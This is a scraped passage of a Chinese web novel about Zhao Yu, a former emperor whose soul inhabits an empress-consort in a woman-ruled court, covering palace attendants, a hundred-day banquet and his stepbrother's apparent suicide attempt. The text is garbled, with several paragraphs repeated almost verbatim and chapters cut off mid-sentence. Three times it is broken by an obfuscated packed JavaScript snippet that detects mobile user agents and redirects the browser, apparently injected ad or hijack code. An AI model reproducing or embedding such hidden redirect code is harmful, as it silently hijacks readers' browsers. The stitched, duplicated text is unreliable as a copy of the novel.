凤君手下共有五名属官,詹事总管凤仪宫事务,私府令掌管凤君的私财和仓储,司宫令负责管理宫侍,司仪掌服饰和膳食,厩令调配车马。 赵煜知道这几个人都是内廷递了名单,皇帝和凤君批准后才得以任命的。但不过无论是赵煜还是这具身体,都没有让这几个人真正掌握实权的意思。凤仪宫所有的宫侍不过才十五人,全权交给明夷几个足矣。 说来三个近侍中,赵煜虽然最用不到昭侠,但因为幻象中他陪这具身体留到了最后,所以其实最信任他。 至于明夷和承光两个,虽然未在幻象中见到,但也未必是背弃了主人。前朝后宫的争斗鲜血淋漓,这具身体又是个落败者,自己的命运都无从决定,更何况他身边的奴才呢? 19. 待 赵煜跟在皇帝身后一步,就要踏出长春宫的殿门。承光急忙抱着披风追着赵煜系上,昭侠则递上手捂,嘴里嘟囔着:“殿下您总嫌穿得累赘……” 此地的披风毛绒厚重,披上后整个人仿佛裹成了粽子。赵煜停下脚步,虽心生嫌弃,但还是由着他们打整。 他刚受了伤,身体尚未恢复,状态不佳,免得再染上了风寒。 这么一停顿,皇帝本应早已走远,但当赵煜整理好衣物,抬眼望去却见对方竟也停住了脚步,正侧过脸朝他看来,不由得眉峰轻轻一挑。 皇帝等赵煜走近后,示意他与自己并肩而行:“看来君后今年运道不佳,开年就生了两场病,需得好好去去晦气。” 赵煜微微地一笑,道:“跌落谷底,说不定就时来运转了呢,多谢陛下关心。” 皇帝微微挑了挑嘴角,语气中带着几分提醒:“话说得不错。不过还是身体要紧。” 赵煜自然称是。 短短几步路,二人也说不了什么话。待到了肩舆旁,两人这才分道扬镳。殷洛上了轿,手指轻轻支着下巴,脸上原本的笑容一点点地褪了去。 方娴走在肩舆右侧随侍。殷洛右手屈指敲了敲膝盖,目光微微沉凝,忽然问道:“方娴,你在国子监时,和君后有过接触吗?” 方娴稍作回忆,随即摇头道:“回陛下,奴才一直侍奉在您左右,并未与凤君殿下有过交集。” 殷洛眯了眯眼睛,一时没有说话。 明宣四年,殷洛受封皇太女。按照惯例,她本应一直在文渊阁接受专属的皇家教育,闭门苦读治国之道。然而先帝认为,皇太女若能与宗室子弟和朝臣子女同窗共学,更能体察世情百态,磨砺心性,培养包容与担当。治国之术固然重要,但学会与人相处之道同样紧要。 于是,殷洛从十四岁入学到十六岁登基,一直待在国子监学习。期间,也的确在里面结识了一些志同道合的好友,为日后治国提前积累了一定的威望。 而赵煜身为赵家嫡长子,自然从刚入学起便备受瞩目。尽管两人并非同一届,而殷洛当时也忙于在学业与才情上展露锋芒,意气风发,但也不是不知道赵家来了这么一个人,和对方远远地打过几回照面,不知姓名地短暂有过一次往来。 不过那时的赵煜…… 殷洛回忆起这几回与他的交谈,愈发觉得上次惊觉对方变得陌生并非自己的错觉。如今的他远比印象中更沉稳,更深邃,也更锋芒锐利。 殷洛拧了拧眉,心中轻嘲。看来权力果真动人心。到了凤君这个位置,谁都不能免俗。 - 赵煜不想让别人察觉到他是异世的孤魂,但也无需畏首畏尾,整日把自己藏在壳里,大面上过得去,不露出致命的破绽,也已经足够了。 等到了凤仪宫,承光知道凤君用了肩膀,急忙又去太医署唤来男侍医揉捏筋骨,按摩敷药。赵煜被刺鼻的草药味熏得直皱眉,左右也无事做,想起还不知所谓的“礼佛”一事,开口吩咐道:“去找几本书来,我要礼佛。” 昭侠看着凤君衣衫不整的样子,愣愣道:“殿下,就……这样礼佛吗?” 赵煜阖上眼,淡淡地“嗯”了一声。昭侠见凤君不为所动,加上自己也对佛学一知半解,只好出去找书了,心中纳闷怎么殿下也喜欢上礼佛了。那些臭和尚臭尼姑整日散播什么“菩萨当自观身,不净臭秽,不应食肉”的言论,经常在民间被撵得抱头鼠窜,怎么到了宫里,反而太皇太后礼佛,太君后礼佛,殿下虽然看起来心不太诚的样子,但也要礼佛。 不食荤腥,这要有多大的毅力才能做到啊? 因为太皇太后好佛,文渊阁藏着不少佛经,昭侠搬了一摞回来,赵煜不便翻书,干脆叫几个宫侍轮流读给他听。 他大概知道所谓礼佛是某种教派的一种修行方式,类似于道教讲究的斋醮科仪,应该是为了沟通天地、祈求上苍用的。不过赵煜不信不畏,他需要时自称自己是受命于天的天子,不需要时哪怕祖宗托梦也只觉得日有所思罢了。< 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此言荒谬。赵煜打断了宫侍的诵读,不愿意再听一通鬼扯连篇的话。想起来到此地已经十余天,倒没有召见过下面的属官,便派人去宣。 凤君手下共有五名属官,詹事总管凤仪宫事务,私府令掌管凤君的私财和仓储,司宫令负责管理宫侍,司仪掌服饰和膳食,厩令调配车马。 赵煜知道这几个人都是内廷递了名单,皇帝和凤君批准后才得以任命的。但不过无论是赵煜还是这具身体,都没有让这几个人真正掌握实权的意思。凤仪宫所有的宫侍不过才十五人,全权交给明夷几个足矣。 说来三个近侍中,赵煜虽然最用不到昭侠,但因为幻象中他陪这具身体留到了最后,所以其实最信任他。 至于明夷和承光两个,虽然未在幻象中见到,但也未必是背弃了主人。前朝后宫的争斗鲜血淋漓,这具身体又是个落败者,自己的命运都无从决定,更何况他身边的奴才呢? 20. 合宁宴 二月惊蛰时分,春雷始鸣,皇帝和凤君率领百官行亲耕礼,祭祀神农氏,祈求风调雨顺、五谷丰登;三月初三上巳节,行祓禊之礼,以兰草净身,驱邪祈福,祈愿国运昌隆、福泽绵长。 不过皇帝忘记提醒的是,在即将到来的亲耕礼之前,于新婚不久的凤君而言,还另外有一件事情要做。 赵煜回了凤仪宫,承光也已经领着男侍医到了内室,连忙给赵煜揉捏筋骨,按摩敷药。赵煜在凤仪宫尚不肯叫人喂食,在太皇太后面前,近侍们就更不敢开口劝了。只能眼睁睁地看着主子都没吃上几口,今天是打定了主意要让殿下乖乖张嘴。 赵煜被刺鼻的草药味熏得直皱眉。昭侠在旁边壮着胆子嘟囔道:“殿下一直不肯好好修养,您这胳膊到底什么时候才能好啊……” 说来三个近侍中,赵煜虽然最用不到昭侠,但因为在幻象中他陪这具身体留到了最后,所以几人中其实最信任他。 至于明夷和承光两个,虽然不曾在幻象中见到他们两个的身影,但也未必是背弃了主人。前朝后宫的争斗鲜血淋漓,这具身体又是个落败者,自己的命运都无从决定,更何况他身边的奴才呢? 昭侠虽天真愚钝,却也藏着几分小聪明,敏锐地察觉到虽然殿下时常冷脸,但不知为何,对自己总有一种说不出的纵容。 仗着这一点,试探地把话说出了口:“殿下,先不说亲耕礼将至,到时候您可是要亲自下地的。就说初八就是您与陛下成婚的第一百天,合宁宴上,若是您的手臂还使不出力气,连菜都夹不稳,不说旁的,赵大人该有多担心您啊。” 赵煜眯了眯眼睛,重复了一遍:“合宁宴?” 赵煜虽然闲来无事看了很多书,但对于皇帝和凤君成婚的仪 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殿下的母亲乃是当今的文渊司卿赵英赵大人,父亲则是靖宁子爵的嫡子,两人成婚不过两年,殿下的父亲就因为难产离世了。后来几年,赵大人扶了府里的某位平君做了正君,而殿下则多由祖父亲自抚养。 殿下没有亲生的兄弟姊妹,孤身一人,而那位平君育有一男一女,皆比殿下大个两三岁,想来彼此的关系并不亲昵。 上次三日回门之际,这位正君得以进宫觐见,几个宫侍见他不过是一个拘谨普通的男子,吉祥话都说得尴尬,与殿下自然也无甚可言。 赵煜阖了阖眼,倒没想到这具身体的生父是因为难产去世的。昭侠自以为提到了凤君的伤心事,无措地咬了咬唇:“都怪奴才多嘴,好好的提到了这些。” 赵煜自然不会在意这个,若这具身体的生父当初活了下来,说不准还会对这个令自己险些丧命的孩子心生怨怼,而非疼爱。还不如从未相见,叫他一直活在对生父的美好幻想里。 左右这合宁宴不过是两家的一场私宴,来凤仪宫觐见的也不过是几个无关紧要的后宅男子,赵煜不再费心此事,想起还不知所谓的佛学,开口吩咐道:“去文渊阁找几本书来,我要礼佛。” 礼佛之事庄重肃穆,通常需先净手、整衣,再备齐香烛。几人看着凤君衣衫不整的样子,愣愣地问道:“殿下,就……这样礼佛吗?” 赵煜淡淡地“嗯”了一声,没有丝毫的敬畏之意。明夷见凤君不为所动,加上自己也对佛学一知半解,只好出去找书了。 昭侠留在凤君身旁,心里纳闷殿下什么时候也对佛教感兴趣了。那些和尚尼姑整日说什么“菩萨当自观身,不净臭秽,不应食肉”,很不招人喜欢。怎么到了宫里,反而太皇太后礼佛,太君后礼佛,殿下虽然看起来心不太诚的样子,但也要礼佛。 不食荤腥,这要有多大的毅力才能做到啊? 赵煜对鬼神之说不信不畏,只需要时自称是受命于天的天子,不需要时哪怕先祖托梦也只觉得是一场笑话。但既然太皇太后信佛,那这个佛学其必定有什么可取之处。 说来大梁曾有一位皇帝,在位时极力推崇“天命学”,里面有几个观点倒是有趣。除了最基本的宣称“统治者是天命所归,不可违逆”之外,更将等级制度视为天道的一部分,打破等级便是违背天意。而无知是福,过度思考会扰乱天命,招致灾祸。 赵煜在位时虽然不屑推行这种愚民政策,但逼宫之时着实从中收获了不少好处。若佛学实际也是这类政策,倒值得钻研一二。 只是没等明夷抱着书回来,忽然有宫侍过来禀报:“殿下,葛詹事在殿外觐见。” 赵煜微微挑眉:“葛詹事,什么事?” “这,奴才不知道,葛詹事只说是有要事禀报。但奴才见他手中端着一只漆木托盘,上面放着几份奏章。” 连话都说不清楚。赵煜阖上了眼睛,语气不辨喜怒:“叫他进来吧。” 承光会意,把人拦在了屏风之外。隔着隐隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159614|163911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约约的绢纱,葛詹事躬身行礼:“奴才葛重,参见凤君殿下。” 凤君手下共有五名属官,詹事总管凤仪宫事务,私府令掌管凤君的私财与仓储,司宫令负责管理宫侍,司仪掌管服饰与膳食,厩令则负责调配车马。 赵煜知道这几人都是内廷递了名单,皇帝和凤君批准后才得以任命的。但不过无论是他还是这具身体,都没有让这几个人真正掌握实权的意思。凤仪宫所有的宫侍加起来不过才十五人,全权交给明夷几个足矣,不需要节外生枝。只初来时认了个脸,再没有宣过。 “免礼。”赵煜没有睁眼,“葛詹事有何事?” 葛詹事双手端着托盘,微微抬高了几分,恭敬道:“殿下,礼曹已拟定合宁宴的仪程,特来请来请您过目。” 看来这葛重并非是皇帝的人。 赵煜“嗯”了一声,听他简要汇报道:“殿下,未时男眷入宫,将被引至凤仪宫拜见,行礼叙话。酉时,宴会正式开始,陛下致辞。亥时初,宴会结束,殿下需亲自送家人至宫门,由礼官引导离宫。” 承光不需示意地绕至屏风后,取过这份奏章,但不等赵煜伸手接过,直接将其打开几页,举到了他的眼前。葛重继续道:“殿下,合宁宴的最终名单也已经拟定了。除了上次呈上的人员,又新添了一位。” 赵煜眼神一动,不知道是谁还值得专门提起:“哦?” “回殿下,上次礼曹拟定名单时,殿下哥哥正值婚期,不便出行,故未列入。但近日赵公子取消婚约,婚事搁置,便又将他添回了名单之中。” 22. 伤痕 《无量寿经》有言:“善恶报应,祸福相承,身自当之,无谁代者。” 《地藏菩萨本愿经》中有云:“若遇恶缘,皆是宿世冤业,应当忏悔,修善回向。” 二月初八,正是皇帝和凤君成婚满一百日的时候,于是特设合宁宴,意为“合意相投,福禄长宁”。 凤仪宫中,赵煜倚在榻上,手里拿着一卷佛经。 经过一旬的修养,他的肩膀虽然仍是感到酸痛,但好歹举箸夹菜不成问题。 前几日,礼曹也将详细的宴会章程呈了上来,赵煜逐一翻阅了仪程、宾客名单和礼服图样等,都没有察觉有异,想来赵氏也不会让他把控下的事务出现问题,很是清闲地通读了一遍佛经。 这佛学中首要推崇的“善有善报,恶有恶报”论,倒的确可以用于规训百姓,使其安分守己,不失一种维护统治的好手段。而若百姓行善没有得到回报,或者反遭恶果,也有理由说这是“宿世冤业”,是对方上辈子作恶的因果报应。 赵煜看着不由嗤笑出声,心道编著此说的笔者真是个奇才,比梁朝的天命论高到不知哪里去。完全将遭遇的不公和无奈归咎于虚无缥缈的前世因果,让世人只能默默承受,连怨怼之念都不敢升起。 不过,除此之外,里头倒也有一些说法很是新奇。 《大智度论》曰:“百亿须弥山,百亿日月,名为三千大千世界。” 《瑜伽师地论》曰:“众生从无始来,由诸业习气,轮回五趣,无有穷已。” 若按照这种言论,这世间有三千大千世界,广阔无垠,各不相同。而众生轮回,无有休止;因果相循,全无定数。上辈子是高高在上的皇帝,下辈子可能就沦落为街头的乞丐。 倒不是全然胡诌。赵煜眯了眯眼睛,心道他的经历不正论证了世间有三千世界吗?梁朝所在的男尊女尊是一方世界,燕朝所在的女尊男卑又是一方世界。两个世界制度截然不同,并行不悖,各自演绎着不同的规则与命运。 至于佛经中所说的前世今生——赵煜若有所思地扣了扣桌面,不禁想起这具身体与他相似的容貌,相同的姓名,以及眉心处同样有两颗细小的红痣。倘若按这种说法推断,这具身体难道他的前世或者来生? 赵煜面上一晒,一笑而过。说来他从来只信他只是他,是天命所归的那一个,是唯一注定要登上皇位睥睨天下之人。即使这具身体真的与他有千丝万缕的联系,也不可能和他混为一谈,更不可能拥有同样的命运或者结局。 赵煜合上了手中的书,将其搁置一旁。此时正值酉时,窗外的日影渐渐西斜,阳光透过窗棂斑驳地洒在案几之上。承光快步走进殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164074|163911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内,躬身禀报道:“殿下,赵家的两位男眷已经到凤仪宫外等候了。” 赵煜并未抬眼,道:“宣。” “是,殿下。”承光应声退下。 须臾,礼官的声音沉稳而清晰地响起:“宣,赵家正君及其长子觐见。” 依照礼曹的安排,酉时初赵家男眷入宫,前往凤仪宫行礼叙话,女眷则前往咸乐宫拜见皇帝。到酉时正合宁宴正式开启,男女同席饮乐,君臣相得。到亥时宴席结束,赵家人这才离宫。 尽管赵煜和赵家的两位男眷都未必想要见到对方,但礼数如此,只能在面上敷衍一番。 礼官唱喏后,殿外由远及近响起两道轻微的脚步声,少顷,两道身影一前一后映入眼帘。赵煜微微抬起眼,见走在前头的是赵英如今的正君胡氏,年约四十,面容清瘦,眉目间透着几分书卷气,神色却略显局促。 凤君是赵家子,但更是君;胡氏虽然名义上是这具身体的继父,但更是臣。胡氏与其子赵阅齐齐跪地,恭敬地俯首:“臣等叩见凤君殿下。” 赵煜颔首道:“免礼吧,赐座。” 胡氏挨了半边锦凳坐下,没有坐实。赵煜随意地问道:“家里最近可好?”目光漫不经心地扫过二人。 胡氏连忙道:“家中一切都好,只是心里一直记挂着殿下。” 23. 江湖再见 赵煜的眼睛微微一眯。 赵阅身着一件厚实的白色长袍,外面罩了一件鹅黄色的披风,领口处围着一圈柔软的白色貂毛领,毛茸茸的,有意地将他的脖颈遮得严严实实,只露出下巴的轮廓。 他和赵煜对上了视线,身体几乎是一僵,下意识地蜷了蜷手指,只能强作镇定。 赵煜经验丰富,不会看错他脖颈上的是麻绳的勒痕。而是痕迹八字不交,显然是自己亲自动的手。 赵阅不久前上吊自杀过? 赵煜眉梢微动,这次才认真端详起了二人。胡氏身上并无异处,衣着与饰品皆是中规中矩。而赵阅腰间系着的那枚玉佩,虽看不清纹样,但其质地与胡氏方才献上的那块极为相似。除此之外,对方腰间还挂着一个香囊,形状方正扁平,布料厚实,里头不像是塞满了香料,反而像是放了什么符箓。 说来,赵阅今年十七岁,正是在议亲的年纪。而胡氏在这具身体三日回门之际都没有特意去二仙庙祈福,贺礼不过平平无奇,又何必在百天之时苦费心思。 那这块玉佩,应当是专门去给赵阅祈福时顺便求的了? 赵煜目光打量着赵阅,毫不掩饰。而在凤君面前,对方自然也不敢躲闪,只是呼吸难以平稳,时轻时重。 良久,赵煜眉峰微微一挑,说道:“多日不见,兄长看着清瘦不少。” 赵阅微微一僵,随即稳住心神,回答道:“回殿下,冬日寒凉,蔬食难丰,臣吃得少,所以清减了一些。” “哦?”赵煜神情平静地看着他,语气似笑非笑地说道,“可我怎么听说,兄长的婚事上似乎起了一些波折?” 胡氏父子二人闻言,不禁俱是一震。赵家在这件事上处置得极为谨慎,几乎将消息封锁得滴水不漏。尽管朝廷中难免有少数人知晓内情,但赵煜入了宫门,赵家又特意打过招呼,不会有人敢去他面前多嘴多舌,按理说应当毫无耳闻才是。 胡氏愣了半响,才开口说道:“殿下,或许是有人误传,家中一切安好,绝无半点事故。” “我既然把事情拿出来说,就代表我已经知道。”赵煜淡声道,再不见半点笑意,“与其支支吾吾,不如坦白详情,不要要我一句一句地问。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169675|163911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 凤君以这样的态度说自己知道了什么,几个近侍日夜陪在他身旁,都几乎信以为真,遑论胡氏父子了。 胡氏本来就因为说谎而心惊胆战,这下再不敢瞒上,重新跪地道:“禀殿下,并非是臣夫有意欺瞒,只是怕这件事……脏了您的耳朵。” 赵阅原本神情还算平静,听父亲这么一说委屈,指甲死死地掐进了肉里,眼眶瞬间一红,也跪在了地上,紧紧地咬住了牙关。 赵煜看这两个人的表现,便知道是发生了什么难以启齿的丑事,缓和了语气,道:“这件事错不在你们,先起来吧。” “殿下明鉴。”听到赵煜如此说,胡氏忍不住声音带了丝丝的颤抖。 他家世普通,先是侍君,后来靠着生下长子长女的功劳被抬举为平君。外人看他好大的运道,艳羡不已,但身在赵家这样的家族,不免活得战战兢兢,如履薄冰。侥幸成为正君后更是心惊肉跳,唯恐惹祸上身。 他不敢奢望太多,只盼女儿能在朝廷谋得一个清闲职位,成家立业,儿子能嫁给一个好人家,夫妻和睦,便已经心满意足了。